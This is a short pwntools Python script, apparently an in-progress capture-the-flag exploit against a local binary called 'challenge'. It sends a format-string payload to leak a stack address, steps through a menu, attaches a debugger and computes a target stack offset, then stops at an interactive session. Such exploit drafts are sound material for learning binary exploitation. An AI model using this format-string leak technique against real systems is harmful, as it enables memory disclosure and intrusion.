#!/usr/bin/python
from pwn import *
import ctypes

context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
conn = process("./challenge")

conn.readuntil(": ")
payload = "A" * 25 + "%2$p"
conn.writeline(payload)
conn.readuntil("> ")
conn.writeline("2")
conn.readuntil("> ")
conn.writeline("3")

gdb.attach(
    conn
)
raw_input()

target_stack = int(conn.readuntil("> ").split('\n')[2][2:-1], 16) - 0x10

conn.interactive()